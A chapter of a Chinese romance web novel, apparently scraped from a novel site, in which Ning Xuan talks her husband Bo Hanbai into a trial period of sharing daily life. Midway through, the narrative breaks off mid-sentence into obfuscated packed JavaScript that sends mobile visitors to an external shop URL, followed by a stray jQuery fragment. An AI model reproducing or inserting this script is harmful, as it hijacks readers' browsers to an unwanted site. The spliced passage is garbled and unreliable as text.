文趣网 > 其他小说 > 作精大小姐联姻后 > 20. 第20章
    卧室。

    吃完饭从外面回来,宁暄正窝在自己温软舒适的床上,向助理陈安交代明日结婚纪念日的约会计划和场景布置。

    突然接到宁东远电话,宁暄从床上一骨碌爬起来,下意识望了眼紧闭的卧室门,捂住话筒反问,“公司?”

    不是宁宅吗?

    宁东远:“你妈在家,有些话不方便说。”

    “可明天——”她才刚跟薄寒柏约定好空一天时间出来。

    “你还有别的安排?”

    “……没。”宁暄短暂犹豫过后还是应下,顿了顿又问,“妈还好吗?”

    “没什么事,不过暄儿,你妈这段时间心情不佳,你也得多体谅她。”

    “我明白。”宁暄心有点酸,指尖攥了攥床单,又想起今天一团乱麻的残局,“那、那林……溪月那边……”

    “我明天要与你谈的就是这件事,见面再说。”宁东远叹了口气,“暄儿,你别仗着年纪轻就不把身体当回事儿,也要规律作息好好吃饭。”

    “嗯,我知道的。”宁暄重重点头。

    通话结束,宁暄呆坐在床上,漫无目的盯着空气,直到手机再次震动,陈安发来新消息,宁暄才回过神,吩咐助理取消明天上午的安排。

    放下手机望了眼挂钟,时针正好指向数字九。

    才九点,薄寒柏应该还没睡。

    不知道明天爸要跟她聊什么,但想必不是好事情。

    还有林石火那边,他和林溪月又有新联系,也不确定这次她的身世有没有暴露……

    啊啊啊啊啊——不能想,多想一秒她就要头疼。

    好烦。

    原定约会计划泡汤,二人世界时间减半,宁暄原本期待轻快的心情骤然沉下去。父亲的一通电话将她又拽回下午那团混乱复杂、矛盾重重的家庭关系,宁暄置身其中,情绪再度变得低落。

    靠在床头好半天。

    她动都懒得动。

    宁暄直接给薄寒柏打电话。

    “……您呼叫的用户正在通话中……”

    没打通。

    行吧。

    宁暄不得已慢吞吞从床上爬起来,趿拉着拖鞋出去找人:

    “薄寒柏~”

    不出意外狗东西又是在书房,宁暄哒哒哒跑过走廊,到男人紧闭的书房门前站定,抬脚踢门。

    踢到一半门忽然从里面拉开,宁暄身体骤然失衡向后仰倒,薄寒柏皱着眉及时伸手拉了她一把,等她站稳,又立即松开手,后退一步。

    “你怎么一点招呼不打就突然开门,我差点摔倒!”宁暄反应过来气得直跳脚。

    薄寒柏立在离她一步之遥的门内,依旧一副古井无波的死人脸,“有事?”

    “没事就不能找你啊你人这么大牌喊喊都不行——”

    眼看薄寒柏转身就要关门,宁暄这才紧急打住下意识抬杠的废话,忙上前一步插进一只脚堵门,“明天上午我有别的安排了,放你自由活动!”

    宁暄耷拉着肩膀,心情本就糟糕,也懒得再挑他毛病自己气自己,只蹙着眉朝他伸手要抱,“所以作为补偿,你今晚要陪我睡觉。”

    “纯睡觉那种,柏拉图,没有别的哦。”宁暄说完又立刻补充强调。

    薄寒柏眉头小幅度跳了下,人顿在原地,维持着半侧身的动作一动未动。

    “你好麻烦我手都举疼了。”宁暄等不及回应,直接上前两步搂住男人劲瘦后腰,整个人像树袋熊挂到他身上,“看不到我现在心情不好吗?身为人夫,你现在最重要的任务就是安抚妻子,及时为她提供情绪价值。”

    千言万语汇成简短一句话:

    “快点陪我聊天!”

    ……

    “聊什么?”

    薄寒柏视线蜻蜓点水般掠过妻子身上轻薄的真丝睡裙,将宁暄抱到他卧室床前,放下她就起身欲走人,随口敷衍道:

    “我没功夫陪你胡扯,你要实在闲得慌,我可以帮你打赵晚言的电话。”

    宁暄有气无力在床上打了半个滚,怼他,“聊夫妻生活!你爱打就打,我反正是不介意外人旁听的。”

    薄寒柏向外的脚步顿住。

    “如果我们不离婚,未来要长期共处,过去的那套模式肯定不适用了,总要改吧?”宁暄眼睛一转,歪头看他,“重新认识一下。”

    薄寒柏转过身来,目光缓缓落到妻子身上,他脸上漫不经心的神色敛去,眉宇间终于染上几分正色:

    “行。”

    狗东西!死装男!还真是不见兔子不撒鹰。她就知道,根本不该对他抱任何期待。

    宁暄恨恨磨了磨牙,使唤道,“那你先去把门关上。”

    “哦对了,再给我倒杯温水。”宁暄从床上坐起来,端起架子哼哼,“哎呀也不知怎么的,我突然口好渴。”

    薄寒柏:“……”

    五分钟后,关起门来。

    宁暄和薄寒柏隔着几案对坐,宁暄慢条斯理喝完一杯水,在心底快速盘算清楚,这才开口:

    “我是这样想的,在你告诉我最终答案前,刚好一月为期,这段时间姑且算作彼此的磨合期……

    “我的意思是,生活习惯上真正的磨合。”

    宁暄指尖捻着杯壁,暗暗观察丈夫脸色,“直到找到你我都能接受的相处模式。”

    薄寒柏幽暗目光一瞬不瞬盯着她,没有回话。

    “毕竟伪装只能一时,想要达成未来更长时间的夫妻同盟,我想我们非常有必要增进对彼此的了解……就从……日常小事开始,这样最好。”

    以前那套陌生人模式肯定不行了,她必须要抓紧时间培养和薄寒柏的夫妻感情,抓住现在难得的优势,趁机侵入狗东西的私人空间——拿下他。

    宁暄压下心虚,硬撑着挺起胸膛,目光灼灼回视男人:

    “你觉得呢?”

    薄寒柏英挺的眉蹙起,唇线平直,脸色明显变得不太好看,他迟迟未答话,只有右手食指一搭一搭,有节奏地叩在几案边缘。

    “我更希望保持原状,井水不犯河水。”男人停下指尖动作开口,语调毫无波澜。

    “但你知道这根本不现实。”宁暄啪放下杯子,攥紧指尖,努力维持语气的镇静,“没有人能够在一个屋檐下伪装那么久,就算你可以我也做不到。”

    “如果没有意外,我们两家……”宁暄提醒他。

    宁薄两家的合作将会一直维系下去,他们的婚姻也会长长久久。

    这次不同于之前三年貌合神离彼此凑合的短期协议,长期合作离不开了解和信任,未来他们是伙伴,不是敌人。

    万事开头难。薄寒柏已经退步一次,以后步步后退也未必是难事,就如同连锁倒下的多米诺骨牌,一旦开始便再难停下。除非引入新的变量……

    当然

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939537|213853||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,现在新的变量已经存在,但,薄寒柏还不知情不是?

    那就暂时优势在她。

    宁暄贴心为男人留足考虑时间,隔了几秒,这才追问:

    “或许你有更好的提议?”

    薄寒柏眼睑垂下,沉默无言。

    哈哈。她就知道。

    宁暄终于松下一口气,桃花眼漫上喜色,她直接忽略男人暗沉的冰块脸,美滋滋靠过去,不由分说拽过他大手与他强行击掌:

    “那就这么说定了,亲爱的,合作愉快!”

    宁暄踮起脚尖轻飘飘转了个圈,将自己又摔回床上,弯起嘴角冲他挑眉:

    “老公,我保证从今天开始我会做一个好妻子的,明天陪你吃早餐!哦对了,小小预告一下,明天晚上我还有惊喜礼物要送你!”

    ……

    薄寒柏不太好。

    确切地说,是很不好。

    他几乎一夜未眠。

    因为睡前宁暄的话,也因为,他与她此前从未这样同床共枕,却什么都不做。

    他们过去同床只有一个目的,就是满足生理需求,除此之外向来互不干扰。

    如今——

    “我们从今天开始都不分床睡了。就是……首先,我们要习惯彼此的存在,这你可以理解吧?就是不能再像以前那样,分房和纯生理交易都是不可取的。”

    宁暄冲他啧啧摇手指,而后高抬下巴,趾高气昂宣布,“说好了,你今天不能碰我。”

    说完欢天喜地跑回自己房间抱来枕头小毯子玩偶,对他道了句“宝宝晚安”,便一头扎进床榻,一无所觉睡去。

    寂静黑夜里,两人呼吸交错缠绕。

    薄寒柏浑身僵硬,生理与心理受到双重折磨,闭目也难逃妻子身上飘来的清淡幽香。宁暄睡姿从来算不上规矩,睡到一半便挨到他身上动手动脚。

    贴身接触,却又不能碰她。

    这样的暧昧状态对薄寒柏而言是纯粹的煎熬。

    要么占有,要么远离,这才是他一贯的应对方式。

    如今一切都在失控。

    薄寒柏越来越烦躁。

    第二日薄寒柏起得极早,天蒙蒙亮便径直去了书房。

    宁暄睡得沉,完全没受丈夫影响,直到手机闹钟叮咚响才醒来,对着天花板呆滞半天,想起来今早的安排,她艰难从床上把自己薅起来。

    “……对,这些,还有这些……全都搬过去,那些没用的丑东西全扔……等等,还是算了,先别动……”

    宁暄拿着采购单指挥管家佣人,“这些东西也都要双份,都记住没有……尽快吧……哎呀小心点别碰坏了……”

    被外面吵闹的声音惊扰,薄寒柏放下电脑从书房里出来,险些以为自己进错了地方。

    往日简洁冷清的黑白走廊完全换了一副模样:花草、挂画、壁灯、风铃、珠帘……繁复艳丽热热闹闹,几乎一眼望不到尽头。

    佣人们正扛着五花八门的各式物品鱼贯出入他的卧室,见到他纷纷驻足打招呼:“先生早。”

    “……”

    薄寒柏闭了闭眼又睁开,声音从牙缝里一字一顿挤出来:

    “宁!暄!”

    “哎,亲爱哒我在。早上好啊~”宁暄不知道从哪个角落冒出来,明亮潋滟的桃花眼攸忽靠近,她蹦到他身前,在他唇上吧唧亲了一口。

    薄寒柏人宕机在原地。